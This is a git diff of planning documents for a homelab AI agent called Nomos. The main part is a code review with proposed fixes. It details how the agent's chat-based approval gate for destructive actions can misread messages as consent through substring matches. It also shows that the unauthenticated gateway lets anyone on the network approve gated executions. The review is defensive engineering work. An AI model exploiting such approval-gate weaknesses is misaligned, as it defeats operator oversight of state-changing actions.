catastrophic commands always route to destructive+confirmation; ambiguous
|
||||
commands escalate. No command auto-runs that mutates state.
|
||||
- End-to-end: operator asks Nomos a novel task **not** in the old enum (e.g.
|
||||
"tail caddy's error log and restart it if it's flapping"); Nomos composes
|
||||
`run` calls; read-only steps auto-run and **stream as live cards**; the restart
|
||||
gates; the operator types "go ahead" and the restart executes (no button);
|
||||
ledger records each command + classification + the assent message.
|
||||
- Observability: the session ends with a digest listing what ran, what changed,
|
||||
and any knowledge created; the learning view shows the run's contribution.
|
||||
- Parity: "provision an LXC with a service" via the runbook path matches the
|
||||
reliability proven for the `pct_create` handler (free VMID, DNS, install,
|
||||
verify), then destroy.
|
||||
|
||||
## Open questions for the operator
|
||||
|
||||
- **Reversible-low posture:** keep gating restarts/syncs in v1 (chosen), or
|
||||
auto-run them once the classifier is trusted?
|
||||
- **Confirmation phrase:** per-action typed phrase for destructive, or a global
|
||||
one? (Assent covers non-destructive; destructive keeps the typed phrase.)
|
||||
- **Assent detection:** rule/keyword match, or let the model judge assent (with
|
||||
a re-confirm on ambiguity)? How strict — does "yeah do the restart but not the
|
||||
upgrade" partially grant?
|
||||
- **Runbook authorship:** operator-authored only, or may Nomos propose new
|
||||
runbooks (subject to approval) from successful ad-hoc sequences?
|
||||
- **Blast-radius threshold:** should a large blast radius force approval even for
|
||||
otherwise-reversible actions?
|
||||
347
plans/2026-07-11-nomos-agent-code-review.md
Normal file
347
plans/2026-07-11-nomos-agent-code-review.md
Normal file
@@ -0,0 +1,347 @@
|
||||
# 2026-07-11 — Nomos agent code review: gaps and improvement plan
|
||||
|
||||
**Status:** In Progress — 2026-07-11. Every finding except C1 (A1-A3, B1-B3,
|
||||
D1-D3, E, F1) is fixed, tested, and verified live against the running stack.
|
||||
C1 (unauthenticated nomos gateway) is explicitly deferred per operator
|
||||
instruction ("leave auth out for these round of fixes") — the one item
|
||||
keeping this out of `done/`.
|
||||
|
||||
- A1 `3919ec3`, B1+B2 `c5ffaec`, A3 `926969a`, D1-D3 `76f7630`,
|
||||
A2 `c390164`, B3 `6d4f6de`, F1 `11c18e8`.
|
||||
- New `internal/safego` package (B1) and `cmd/nomos/store_test.go` (A2, plus
|
||||
a regression test for the earlier plan-append fix) are the first automated
|
||||
tests for any of this package's core logic — closing part of finding E,
|
||||
though full coverage of agent.go/main.go remains future work.
|
||||
- C1 remains open — nomos's gateway (port 8092) still has no authentication.
|
||||
Revisit separately.
|
||||
|
||||
## Scope
|
||||
|
||||
A full read-through of `cmd/nomos/` (agent.go, store.go, main.go, continue.go,
|
||||
assent.go, tasks.go — 3,120 lines) plus targeted checks of its HTTP exposure,
|
||||
goroutine safety, and test coverage. Every finding below is grounded in a
|
||||
specific file:line or a runnable reproduction — two of the sharper ones
|
||||
(A1, A2) were empirically confirmed with throwaway test probes before being
|
||||
written up, not just read and assumed.
|
||||
|
||||
This is a review, not an implementation — findings are ranked by severity with
|
||||
a proposed fix per item; nothing here has been changed yet.
|
||||
|
||||
---
|
||||
|
||||
## A. Correctness bugs (confirmed, not theoretical)
|
||||
|
||||
### A1. Chat-assent word matching has real substring false positives
|
||||
|
||||
[assent.go:73-103](../cmd/nomos/assent.go). `isAssent`/`isTypedConfirmation`
|
||||
pad the message with spaces and word-boundary-check the **negation** list
|
||||
(`strings.Contains(m, " "+w+" ")`), but the **assent**/**confirm** checks use
|
||||
bare `strings.Contains(m, w)` — no word boundary at all. Confirmed live via a
|
||||
test probe:
|
||||
|
||||
- `isAssent("not sure, maybe yesterday's logs show something useful")` →
|
||||
**`true`** (`"yes"` matches inside `"yesterday"`; `"not"` alone isn't in
|
||||
`negationWords`, only the phrase `"not yet"` is).
|
||||
- `isTypedConfirmation("I haven't confirmed anything yet, let me think")` →
|
||||
**`true`** (`"confirm"` matches inside `"confirmed"`; `"haven't"` isn't in
|
||||
`negationWords`, which only has `"don't"`/`"do not"`, not other contracted
|
||||
negatives).
|
||||
|
||||
The second one is the serious half: `isTypedConfirmation` is the **sole gate
|
||||
for DESTRUCTIVE actions** ([agent.go:220-223](../cmd/nomos/agent.go)) — a
|
||||
message that merely *mentions* not having confirmed something yet can read as
|
||||
an explicit confirmation.
|
||||
|
||||
**Fix:** apply the same space-padded word-boundary check to the assent/confirm
|
||||
word lists that negation already uses. Expand `negationWords` to cover
|
||||
contracted negatives (`haven't`, `hasn't`, `isn't`, `wasn't`, `can't`,
|
||||
`won't`, `not` as a standalone word, not just `"not yet"`). Add both
|
||||
reproduced cases as permanent regression tests in `assent_test.go`.
|
||||
|
||||
### A2. Unbounded conversation history replay — no windowing, no token budget
|
||||
|
||||
[agent.go:185-207](../cmd/nomos/agent.go): every single turn (`chatWith`)
|
||||
calls `a.store.getMessages(ctx, sessionID)` — [store.go:218-239](../cmd/nomos/store.go),
|
||||
`SELECT ... WHERE session_id=$1 ORDER BY created_at ASC` with **no `LIMIT`,
|
||||
no windowing, no summarization** — and replays the *entire* history into the
|
||||
LLM call every time. `truncateToolResults` ([store.go:152-185](../cmd/nomos/store.go))
|
||||
caps each individual tool **result** at 4KB, but caps nothing else: not tool
|
||||
**args**, not the number of tool calls in one message, not the total message
|
||||
count, not total tokens.
|
||||
|
||||
This isn't theoretical — an earlier production audit (see
|
||||
[chat-sessions-improvements](done/2026-07-09-chat-sessions-improvements.md))
|
||||
found a single turn with **70 tool calls** and messages up to **106KB**. Every
|
||||
subsequent turn of a long-running or heavily-autonomous task (exactly what
|
||||
auto-continuation is built for) re-sends that ever-growing history in full.
|
||||
This is a real cost, latency, and eventual context-length-limit risk that
|
||||
compounds specifically for the tasks the system is designed to run longest.
|
||||
|
||||
**Fix:** at minimum, cap replayed history to the most recent N messages or a
|
||||
token budget, with older turns either dropped or collapsed into a short
|
||||
system-message summary (`finalSummary`'s existing one-shot summarization
|
||||
pattern, [agent.go:481-492](../cmd/nomos/agent.go), could be reused for this).
|
||||
Needs a decision on where the cutoff lives (see open questions).
|
||||
|
||||
### A3. A live turn's tool-call history is lost entirely if the client disconnects mid-stream
|
||||
|
||||
[main.go handleChat](../cmd/nomos/main.go): `toolCalls`/`finalText` accumulate
|
||||
only in local closure variables; `st.saveMessage(...)` runs exactly **once**,
|
||||
after `a.chat(...)` returns, using `ctx := r.Context()` — the *same* context
|
||||
that cancels the instant the client disconnects (Stop button, tab close,
|
||||
network blip). If `a.chat` returns early because that context was cancelled,
|
||||
the final `saveMessage` call runs with an already-cancelled context and its
|
||||
error return is never checked — the whole turn's tool-call history (already
|
||||
real: executions launched, knowledge possibly written) is silently lost from
|
||||
the persisted transcript.
|
||||
|
||||
Contrast with `resumeSession`/`continueSession` ([continue.go:96-166](../cmd/nomos/continue.go)),
|
||||
which insert a placeholder row immediately and update it after every single
|
||||
tool call — exactly the incremental-persistence pattern `handleChat` lacks.
|
||||
Verified live this session: my own Stop-button test showed the turn's actual
|
||||
tool calls (6 of them) *were* visible in the UI only because the SSE stream
|
||||
had already pushed them to the browser's in-memory store before the abort —
|
||||
none of that would have survived a page reload, since nothing was persisted.
|
||||
|
||||
**Fix:** bring `handleChat` in line with `resumeSession`'s pattern — insert a
|
||||
placeholder row before the turn starts, update it after each tool call using
|
||||
a context *not* tied to the client connection for the write itself (or at
|
||||
minimum, persist with `context.Background()` in a deferred cleanup so a
|
||||
cancelled request context doesn't take the DB write down with it).
|
||||
|
||||
---
|
||||
|
||||
## B. Robustness
|
||||
|
||||
### B1. Zero panic recovery on any background goroutine
|
||||
|
||||
Every explicitly-spawned goroutine across the agent surface has no
|
||||
`recover()`:
|
||||
|
||||
```
|
||||
cmd/nomos/main.go:78 go nAgent.runContinuationWorker(ctx)
|
||||
cmd/nomos/main.go:80 go func() { ...sweep ticker... }()
|
||||
cmd/nomos/main.go:117 go func() { ...http server... }()
|
||||
cmd/nomos/main.go:347 go a.resumeSession(context.Background(), sessionID, note)
|
||||
internal/mcp/server.go:477,495 go executeApprovedViaAPI(...)
|
||||
internal/mcp/server.go:1134 go func() { ... }()
|
||||
internal/httpapi/phase3.go:119,1456
|
||||
internal/httpapi/server.go:81,533
|
||||
```
|
||||
|
||||
`grep -rn "recover()" cmd/nomos/ internal/mcp/ internal/httpapi/` returns
|
||||
nothing. Go's default behavior for a panic in *any* goroutine — not just the
|
||||
one handling an HTTP request, which the stdlib does recover — is to crash the
|
||||
**entire process**. `runContinuationWorker` and `resumeSession` in particular
|
||||
run complex, unattended agent logic (JSON unmarshaling of model output, tool
|
||||
result parsing, map/slice indexing) with no operator watching; a single edge
|
||||
case (a malformed tool result, an unexpected nil) takes down nomos for
|
||||
**every concurrently-running task**, not just the one that hit it. This is
|
||||
more consequential post-concurrency (today's work): more simultaneous
|
||||
unattended goroutines running agent code means more surface area for one bad
|
||||
input to end everyone's session.
|
||||
|
||||
**Fix:** wrap every explicitly-spawned goroutine body in a `defer func() {
|
||||
if r := recover(); r != nil { slog.Error(...) } }()`. A small helper
|
||||
(`safeGo(func())`) would make this consistent and hard to forget at new call
|
||||
sites.
|
||||
|
||||
### B2. Auto-continuation processes its batch sequentially, one full turn at a time
|
||||
|
||||
[continue.go:58-75](../cmd/nomos/continue.go): `processContinuations` fetches
|
||||
up to 5 pending items and runs `a.continueSession(ctx, p)` for each **in a
|
||||
plain `for` loop**, in the single `runContinuationWorker` goroutine. Each
|
||||
`continueSession` is a full LLM turn that can run for minutes (10-minute
|
||||
timeout, [continue.go:134](../cmd/nomos/continue.go)). If 3 different tasks'
|
||||
executions finish in the same 4-second tick, task #3's continuation waits for
|
||||
#1 and #2 to *completely finish* first — undercutting today's whole
|
||||
concurrency effort specifically on the auto-continuation path, which is the
|
||||
mechanism autonomous multi-step tasks depend on most.
|
||||
|
||||
**Fix:** spawn each pending continuation as its own goroutine (with B1's
|
||||
panic recovery), bounded by a small semaphore if unbounded parallelism here
|
||||
is a concern.
|
||||
|
||||
### B3. No terminal state for a permanently-failed auto-continuation
|
||||
|
||||
[continue.go:162-165](../cmd/nomos/continue.go): if the resumed LLM call
|
||||
errors on both the initial attempt and its one retry, the code logs an error
|
||||
and returns — the task is left in whatever status it was in (typically
|
||||
`executing`), with no outcome set and no operator-visible signal beyond an
|
||||
inert message buried in the transcript. There's no give-up-after-N-retries or
|
||||
dead-letter marking; the task just looks silently stuck.
|
||||
|
||||
**Fix:** on final failure, call the same path `complete_task` would use to set
|
||||
`outcome='failure'` with a summary explaining the resume failed, so the task
|
||||
board reflects reality instead of showing a task that looks perpetually
|
||||
"executing."
|
||||
|
||||
---
|
||||
|
||||
## C. Security
|
||||
|
||||
### C1. Nomos's own HTTP gateway has zero authentication
|
||||
|
||||
[docker-compose.yml:144](../docker-compose.yml) publishes port 8092 directly
|
||||
(`"8092:8092"`, comment: *"mesh-published"*) and
|
||||
[Caddyfile.oikos:52-54](../compose/caddy/Caddyfile.oikos) reverse-proxies to
|
||||
it — as of the client/server split
|
||||
([2026-07-12-wails-desktop-app.md](2026-07-12-wails-desktop-app.md)), only
|
||||
from `nomos.hubris.network` now, not two routes: `/agent/*` on
|
||||
`oikos.hubris.network` was repointed to go through `api`'s own authenticated
|
||||
proxy mount instead of straight to nomos:8092, but that's `combinedAuth`
|
||||
authenticating the *hop into api*, not anything nomos itself checks — this
|
||||
finding is unaffected by that change, still fully open. `grep -n
|
||||
"Authorization\|Bearer\|auth" cmd/nomos/main.go` still returns **nothing**
|
||||
for nomos's inbound routes (nomos did gain outbound auth as *part of* the
|
||||
client/server split — it now sends `Authorization: Bearer
|
||||
$OIKOS_MCP_BEARER_TOKEN` on its own calls to `api` — but that's the opposite
|
||||
direction from this finding) — `/chat`, `/sessions`, `/sessions/{id}`
|
||||
(including `DELETE`), and `/query` have no credential check of any kind.
|
||||
Anyone who can reach the LAN or mesh network can converse with Nomos
|
||||
directly: start tasks, read/delete any session, answer pending questions,
|
||||
and — via chat-assent — approve gated executions by typing "yes" or "I
|
||||
confirm" to whatever the agent proposes, with no authentication at all. This
|
||||
is the same class of gap
|
||||
[oikos-gaps-and-improvements](2026-07-08-oikos-gaps-and-improvements.md)
|
||||
flagged for the `api`/MCP surface (items B1-B5), but specifically for nomos's
|
||||
*own* port, which doesn't sit behind `combinedAuth` the way `api`'s routes do.
|
||||
|
||||
**Fix:** put nomos's gateway behind the same auth the `api` process uses
|
||||
(shared bearer token check at minimum), or stop publishing 8092 directly and
|
||||
route all traffic through the already-authenticated `api` proxy exclusively.
|
||||
|
||||
---
|
||||
|
||||
## D. Code quality
|
||||
|
||||
### D1. Dead code: `isTaskTool` is defined, never called
|
||||
|
||||
[tasks.go:139-146](../cmd/nomos/tasks.go). The actual dispatch in
|
||||
[agent.go:370](../cmd/nomos/agent.go) calls `a.handleTaskTool(...)` directly
|
||||
and checks its `handled` return value — `isTaskTool` is unused.
|
||||
**Fix:** delete it, or use it in `buildTools`/dispatch if a cheaper
|
||||
pre-check is actually wanted.
|
||||
|
||||
### D2. N+1 query in `recordTouched`
|
||||
|
||||
[store.go:720-742](../cmd/nomos/store.go): loops over every slug found in a
|
||||
tool call's args and issues a separate `SELECT id, type FROM entities WHERE
|
||||
slug = $1` per slug. Fine for the common case (1-3 slugs) but doesn't batch
|
||||
for tool calls naming many entities.
|
||||
**Fix:** one `SELECT id, slug, type FROM entities WHERE slug = ANY($1)` for
|
||||
all collected slugs, then loop over the results in memory.
|
||||
|
||||
### D3. `complete_task`'s outcome isn't validated
|
||||
|
||||
[tasks.go:248-257](../cmd/nomos/tasks.go) declares an `enum` in the tool
|
||||
schema (`success|failure|partial`) but [store.go:428-457](../cmd/nomos/store.go)
|
||||
never checks it — an out-of-enum value (a model typo, or a weaker model not
|
||||
respecting the schema) silently persists as-is; only `"failure"` is
|
||||
special-cased (else `status="done"`), so a stray value still "completes" the
|
||||
task but with a value the frontend's status/outcome rendering doesn't
|
||||
recognize.
|
||||
**Fix:** validate against the three allowed values in `handleTaskTool` before
|
||||
calling `store.completeTask`, defaulting unrecognized values to `"partial"`
|
||||
(safer than silently treating them as `"success"`).
|
||||
|
||||
---
|
||||
|
||||
## E. Test coverage
|
||||
|
||||
**Zero automated tests exist for `agent.go`, `store.go`, `main.go`, or
|
||||
`tasks.go`.** Only `assent.go`'s and `continue.go`'s pure string-parsing
|
||||
helpers have unit tests (`assent_test.go`, `continue_test.go`) — confirmed by
|
||||
`grep -l "func Test" cmd/nomos/*.go` matching only those two files. This means
|
||||
today's session added substantial new, safety-critical logic — session-scoped
|
||||
assent/destructive windows, the `mcpClientPool`'s creation-race handling and
|
||||
eviction sweep, `proposePlan`'s replace-vs-append branching — verified only by
|
||||
live manual testing (curl + browser), with **no regression protection**
|
||||
against a future change silently reintroducing the cross-task assent bleed or
|
||||
breaking the pool's session isolation.
|
||||
|
||||
**Fix (highest-value additions first):**
|
||||
1. `store_test.go`: `proposePlan`'s append-vs-replace branch (the exact bug
|
||||
fixed earlier today) — needs a real DB (integration-style, matching
|
||||
`internal/db/integration_test.go`'s pattern) or a query-mocking layer.
|
||||
2. `main_test.go`: `mcpClientPool.get()`'s concurrent-creation race path (two
|
||||
goroutines racing to create a client for the same new session id) and
|
||||
`sweep()`'s eviction logic — these are pure in-memory logic, no DB needed,
|
||||
straightforward to unit test.
|
||||
3. `assent_test.go`: the two confirmed false-positive cases from A1.
|
||||
|
||||
---
|
||||
|
||||
## F. Efficiency (minor)
|
||||
|
||||
### F1. Tool list + fleet snapshot re-fetched every single turn
|
||||
|
||||
[agent.go:174,181](../cmd/nomos/agent.go): `buildTools` (`tools/list` MCP
|
||||
round-trip) and `fleetSnapshot` (`get_health_summary` call) both run at the
|
||||
start of **every** `chatWith` call — including auto-continuation resumes,
|
||||
which can fire many times per task. The tool list changes only on an `api`
|
||||
process restart; the fleet snapshot is a live "as of now" read, which is
|
||||
arguably the point of it, but re-fetching the *tool list* every turn is
|
||||
avoidable.
|
||||
**Fix:** cache `buildTools`' result (e.g., in `mcpClientPool`, invalidated on
|
||||
a client's re-initialize) — worth doing only if profiling shows it matters;
|
||||
low priority relative to A-C.
|
||||
|
||||
---
|
||||
|
||||
## Implementation order
|
||||
|
||||
1. **A1** (assent false positives) — smallest, highest-severity-per-line-of-
|
||||
code fix; ships with regression tests same-PR.
|
||||
2. **C1** (unauthenticated gateway) — security-critical, independent of
|
||||
everything else here.
|
||||
3. **B1** (panic recovery) — cheap, broad safety net; do before B2 touches the
|
||||
continuation worker's goroutine structure anyway.
|
||||
4. **B2** (parallel auto-continuation) — natural follow-on to B1 since it's
|
||||
restructuring the same goroutine.
|
||||
5. **A3** (incremental persistence for live turns) — moderate effort, real
|
||||
user-visible correctness gain.
|
||||
6. **D1-D3** (small cleanups) — bundle together, low risk.
|
||||
7. **A2** (history windowing) — needs a design decision (see below) before
|
||||
implementation; largest single change.
|
||||
8. **B3**, **F1** — lower urgency, do opportunistically.
|
||||
9. **E** (tests) — ideally lands alongside each fix above (A1's tests with
|
||||
A1, etc.) rather than as one giant deferred test-writing pass.
|
||||
|
||||
## Verification
|
||||
|
||||
- **A1**: the two probe cases (`isAssent` on the "yesterday" message,
|
||||
`isTypedConfirmation` on the "haven't confirmed" message) become permanent
|
||||
tests in `assent_test.go`, asserting `false` post-fix.
|
||||
- **A2**: after adding windowing, replay a session with 70+ tool calls (the
|
||||
documented production case) and confirm the message payload sent to the LLM
|
||||
stays under a fixed token/byte ceiling regardless of session length.
|
||||
- **A3**: reproduce the Stop-button-mid-turn scenario, reload the page, and
|
||||
confirm the tool calls made before the abort are still present in the
|
||||
persisted transcript (currently: they vanish).
|
||||
- **B1**: inject a deliberate panic in a test build of `resumeSession` (or a
|
||||
fault-injection flag), confirm the process survives and logs the recovered
|
||||
panic instead of exiting.
|
||||
- **C1**: confirm an unauthenticated `curl` to nomos's `/chat` from off-mesh
|
||||
is rejected once auth lands (currently: succeeds).
|
||||
- **D1-D3**: `go vet`/build clean, `complete_task` with a bogus outcome value
|
||||
now rejected or defaulted rather than silently persisted.
|
||||
|
||||
## Open questions
|
||||
|
||||
- **A2's cutoff mechanism**: a fixed N-message window, a token-budget-aware
|
||||
trim, or LLM-summarization of dropped history? Summarization preserves the
|
||||
most context but costs an extra LLM call per trim; a fixed window is
|
||||
simplest but could drop something the agent still needs mid-task. Leaning
|
||||
fixed window + summarize-on-trim as a middle ground, but this needs a
|
||||
decision before implementation, not during.
|
||||
- **C1's auth mechanism**: reuse `api`'s existing static bearer token
|
||||
(simplest, matches an existing pattern) or route everything through `api`'s
|
||||
proxy and stop publishing 8092 at all (removes the surface entirely, but
|
||||
changes the deploy topology)? Leaning the latter if nothing else on the LAN
|
||||
legitimately needs to reach nomos directly — worth confirming with the
|
||||
operator before picking.
|
||||
- **B2's concurrency bound**: unbounded goroutines-per-tick vs. a small
|
||||
semaphore? Given the continuation batch is already capped at 5 per tick
|
||||
(`pendingContinuations(ctx, 5)`), unbounded is probably fine, but worth a
|
||||
sanity check against real task-completion clustering patterns.
|
||||
@@ -1,6 +1,8 @@
|
||||
# 2026-07-08 — Nomos resident agent (renames Hermes)
|
||||
|
||||
**Status:** In Progress — N0-N3 complete 2026-07-08
|
||||
**Status:** Done — 2026-07-11. N0-N3 (rename, agent loop, sessions/streaming,
|
||||
UI entry point) all verified in current code. N4 (Matrix bridge, proactive
|
||||
sessions) was explicitly out of scope and remains unstarted.
|
||||
|
||||
## Goal
|
||||
|
||||
@@ -1,6 +1,12 @@
|
||||
# 2026-07-08 — Plan vs implementation cross-reference
|
||||
|
||||
**Status:** Planned
|
||||
**Status:** Done — 2026-07-11. Every action this audit recommended has a
|
||||
corresponding follow-up commit (consolidation `7660e56`, client lifecycle
|
||||
`efa66c7`/`fcd9f23`/`28ab9b8`, comprehensive audit `43aaf2a`,
|
||||
DB-as-source-of-truth `a3ebd12`, MCP tool surface `7c6cffb`, apps/105 webhook
|
||||
cleanup `cefeba7`). Its own Prometheus finding (0% done) still matches the
|
||||
current state — see [2026-07-05-oikos-prometheus-lxc.md](2026-07-05-oikos-prometheus-lxc.md),
|
||||
still Planned.
|
||||
|
||||
## Goal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 2026-07-08 — Signal triggers: host health checks
|
||||
|
||||
**Status:** Implemented (Phases 1-5 complete)
|
||||
**Status:** Done — Phases 1-5 complete
|
||||
|
||||
## Goal
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
# 2026-07-09 — Chat sessions: reliability, cost, and session-management fixes
|
||||
|
||||
**Status:** Planned
|
||||
**Status:** Done — 2026-07-11. All 5 findings fixed on `main`
|
||||
(`49c37fe fix: chat session reliability, cost, and hygiene`): empty/refusal
|
||||
retry guard in `agent.go`, bulk-tool guidance in `SOUL.md`, tool-result
|
||||
truncation in `store.go`, `get_state_snapshot` filtering, and session
|
||||
delete + generated titles.
|
||||
|
||||
## Goal
|
||||
|
||||
161
plans/done/2026-07-09-session-execution-and-ux-fixes.md
Normal file
161
plans/done/2026-07-09-session-execution-and-ux-fixes.md
Normal file
@@ -0,0 +1,161 @@
|
||||
# 2026-07-09 — Session execution, UX, and learning improvements
|
||||
|
||||
**Status:** Done — 2026-07-11. Hard blocker and all major items verified:
|
||||
`pct_create` wired into `request_execution`, `ToolCallGroup` collapse +
|
||||
live status, `InlineApproval` blast radius, `http_get` tool, `session-review`
|
||||
skill. Two minor secondary items not implemented: `list_lxcs` CPU/mem
|
||||
enrichment, and a dedicated `get_tools_summary` tool (SOUL.md has general
|
||||
bulk-tool guidance instead).
|
||||
|
||||
## Goal
|
||||
|
||||
Fix the hard blocker and UX issues found in the latest production Nomos session
|
||||
(`b9c5de7c-e0b5-424c-9149-9fd45b2e7011` — "deploy TypeType as an LXC on strong").
|
||||
The user asked Nomos to deploy an LXC; Nomos gathered data, proposed a plan, but
|
||||
at the final step ("run all yourself") said it *couldn't* — `request_execution`
|
||||
has no `pct_create` action. The user's objective was not achieved.
|
||||
|
||||
## Session analysis
|
||||
|
||||
10 messages (5 user / 5 assistant), 150 tool calls, zero LXC created.
|
||||
|
||||
| Msg | Role | Tool calls | Top tools | Summary |
|
||||
|-----|------|-----------|-----------|---------|
|
||||
| 0 | user | 0 | — | "deploy TypeType on strong as LXC" |
|
||||
| 1 | assistant | 40 | get_entity(20), search_knowledge(12) | Fleet scan, entity detail per host/LXC |
|
||||
| 2 | user | 0 | — | "it's github.com/Priveetee/TypeType, use tube.hubris.network" |
|
||||
| 3 | assistant | 2 | search_knowledge(2) | MCP has no web fetch tool → couldn't read GitHub |
|
||||
| 4 | user | 0 | — | "I think you can figure out those" |
|
||||
| 5 | assistant | 60 | search_knowledge(32), request_execution(14) | Built the plan, tried provisioning, failed silently |
|
||||
| 6 | user | 0 | — | "connect to strong media disk, no youtube login, proceed" |
|
||||
| 7 | assistant | 44 | search_knowledge(10), get_entity(10), request_execution(8) | Full deployment plan laid out |
|
||||
| 8 | user | 0 | — | "run all yourself" |
|
||||
| 9 | assistant | 4 | request_execution(4) | **"I can't run pct create — only pct_exec, systemctl, restart, apt_upgrade"** — failure |
|
||||
|
||||
## Findings
|
||||
|
||||
### 1. HARD BLOCKER: `pct_create` missing from `request_execution`
|
||||
|
||||
`request_execution` (`internal/mcp/server.go:264-376`) supports `restart`,
|
||||
`systemctl`, `pct_exec`, `apt_upgrade`. The actuator has `ProvisionLXC()`
|
||||
(`internal/actuator/actuator.go:209`) that calls `pct create` via SSH, but it
|
||||
is only wired into the auto-act signal pipeline — Nomos has no way to invoke
|
||||
it through MCP.
|
||||
|
||||
Nomos's final response laid out the exact `pct create` command the operator
|
||||
needs to run manually on the Proxmox host. That's a dead end for the user, who
|
||||
expected the agent to execute from chat.
|
||||
|
||||
**Fix:**
|
||||
- Add `pct_create` action to `request_execution` handler.
|
||||
- Wire it to the existing `ProvisionLXC()` function.
|
||||
- Classification: `config_mutation` — requires operator approval. Once approved
|
||||
(from the Ops page or Matrix), the actuator picks it up and provisions the
|
||||
LXC with the step callback reporting progress.
|
||||
- Alternatively (for the "run from chat" expectation): add a chat-level approval
|
||||
flow — when Nomos proposes `request_execution` with `pct_create`, the frontend
|
||||
renders an inline "Approve" button in the chat bubble. Operator clicks → it runs.
|
||||
This is the UX the user described: "allow the agent to run things directly from
|
||||
the chat I'm in."
|
||||
|
||||
### 2. UI: ToolCallGroup expanded by default during streaming — no status animation
|
||||
|
||||
`ToolCallGroup.svelte` uses `<details open>` when `active=true`. During a
|
||||
streaming turn with 40+ tool calls, the collapsed group fills the viewport
|
||||
with raw JSON. The summary header shows only a static icon and "N tools" text.
|
||||
|
||||
**What happens now:**
|
||||
- Streaming starts → group opens and stays open → all tool results visible as raw JSON.
|
||||
- When streaming ends → auto-collapses. No animation.
|
||||
- Header shows `WrenchIcon` pulsing OR `CheckIcon` OR `XIcon` — but no live
|
||||
running count, no per-tool status in the collapsed summary bar.
|
||||
|
||||
**What should happen:**
|
||||
- Group starts **collapsed** by default. The summary header shows a live animated
|
||||
status: "⠋ Running get_lxc_state (caddy)… [2/40 done]" with the active tool
|
||||
name + a progress fraction, updating in real time.
|
||||
- When a tool completes, the header briefly reflects it ("✓ get_lxc_state (caddy)")
|
||||
before moving to the next.
|
||||
- Clicking the summary expands the group with a smooth animated open/close
|
||||
(replacing native `<details>` with bits-ui `Collapsible` + CSS transition).
|
||||
- On load from history (not streaming), always starts collapsed.
|
||||
|
||||
**Fix:**
|
||||
- Replace `<details open>` with bits-ui `Collapsible` component (already in
|
||||
`web/src/lib/components/ui/collapsible/`).
|
||||
- Add `animate-pulse` to the chevron icon during streaming (user sees motion).
|
||||
- Add a `statusText` derived that shows the in-progress tool name + count.
|
||||
- CSS animation: `Collapsible.Content` supports `forceMount` with transitions.
|
||||
|
||||
### 3. No web-fetch tool → Nomos can't read GitHub READMEs
|
||||
|
||||
Msg 3: Nomos needed to inspect `github.com/Priveetee/TypeType` to understand the
|
||||
stack. It used `search_knowledge` (DB FTS), which returned nothing because the
|
||||
repo isn't in the DB. The agent had no way to fetch external URLs.
|
||||
|
||||
The MCP has 27 tools (21 listed in AGENTS.md + 6 more added since), but none
|
||||
for HTTP/web fetching. Nomos can only query the DB or execute SSH commands on
|
||||
existing hosts.
|
||||
|
||||
This forced the human to provide context that should have been machine-read.
|
||||
|
||||
**Fix options (non-blocking):**
|
||||
- Add an `http_get` MCP tool that returns sanitized body text (strip scripts,
|
||||
truncate to 8KB). Rate-limited per-turn.
|
||||
- Or: add `web_fetch` as a first-class action in the MCP gateway itself, since
|
||||
the gateway container already makes outbound HTTP calls to OpenRouter.
|
||||
|
||||
### 4. Task: Bulk-tool awareness already in SOUL.md but not enough
|
||||
|
||||
The SOUL.md already says "prefer `list_lxcs` over `get_lxc_state` for fleet-wide"
|
||||
(line 27-28). But msg 1 still made 40 calls. The issue:
|
||||
|
||||
- `get_entity` was called 20 times (one per entity found by `list_entities`).
|
||||
`list_entities` already returns all entities; the agent wanted per-entity
|
||||
detail, which is redundant since `explain` or `get_state_snapshot` gives the
|
||||
same info in one call.
|
||||
|
||||
**Fix (already planned in `2026-07-09-chat-sessions-improvements.md` finding 3):**
|
||||
- Enrich `list_lxcs` with CPU/memory utilization so the model doesn't feel it
|
||||
needs `get_lxc_state` per container.
|
||||
- Add `get_tools_summary` to SOUL.md preamble that lists each tool's intended
|
||||
use and warns about N+1 call patterns.
|
||||
|
||||
### 5. Skill gaps
|
||||
|
||||
| Missing | Why | Where to add |
|
||||
|---------|-----|-------------|
|
||||
| `http_get` / `web_fetch` | Agent can't read external URLs | MCP tool in `internal/mcp/server.go` |
|
||||
| `session-review` skill | No way to learn from failed sessions | `.agents/skills/session-review/SKILL.md` |
|
||||
| `pct_create` action | Can't provision new LXCs from chat | `internal/mcp/server.go` + `internal/actuator/` |
|
||||
| `request_execution` approval from chat | Operator must switch to Ops page | Inline chat approval component |
|
||||
|
||||
## Implementation order
|
||||
|
||||
1. **Add `pct_create` to `request_execution`** (`internal/mcp/server.go`) —
|
||||
hard blocker, needed for the session's objective.
|
||||
2. **ToolCallGroup: collapse by default + animated status header**
|
||||
(`web/src/lib/components/ToolCallGroup.svelte`) — immediate UX win, the user
|
||||
explicitly asked for this.
|
||||
3. **Inline chat approval for `request_execution`** — renders an "Approve"/"Deny"
|
||||
button inside the chat when an execution is queued for approval. Lets the
|
||||
operator approve from the same chat.
|
||||
4. **`session-review` local skill** — lives in `.agents/skills/`, loads when
|
||||
examining chat sessions for failure patterns.
|
||||
5. **`http_get` MCP tool** — non-blocking but addresses a real gap seen in this
|
||||
session.
|
||||
|
||||
## Verification
|
||||
|
||||
- Re-run the TypeType deploy prompt against the patched agent. Confirm:
|
||||
- Agent proposes plan as before (keep plan-proposal behavior).
|
||||
- When user says "run all", agent calls `request_execution(target=lxc:typetype,
|
||||
action=pct_create, params=<json>)`.
|
||||
- Approval fires → operator sees inline approval in chat → approves → LXC created.
|
||||
- ToolCallGroup: start a session that triggers 5+ tool calls. Confirm:
|
||||
- Group starts collapsed.
|
||||
- Summary header shows animated status: tool name + count updating in real time.
|
||||
- Clicking expands smoothly.
|
||||
- On session reload (history), stays collapsed.
|
||||
- Load `session-review` skill and ask it to analyze the TypeType failure session;
|
||||
confirm it identifies the missing action as the root cause.
|
||||
163
plans/done/2026-07-10-autonomous-plan-execution.md
Normal file
163
plans/done/2026-07-10-autonomous-plan-execution.md
Normal file
@@ -0,0 +1,163 @@
|
||||
# 2026-07-10 — Autonomous plan execution: close the observation gap
|
||||
|
||||
**Status:** Done — 2026-07-11. Full scope shipped, including the Option B
|
||||
stretch goal: atomic `pct_create` decomposition, robust assent-window
|
||||
open/extend, SOUL persist-through-errors + `maxIterations=40`, and
|
||||
event-driven auto-continuation (`cmd/nomos/continue.go`). Commits `233b5e4`,
|
||||
`d2f749d`, `657e1a8`, `d529688`, `84ecb6b`.
|
||||
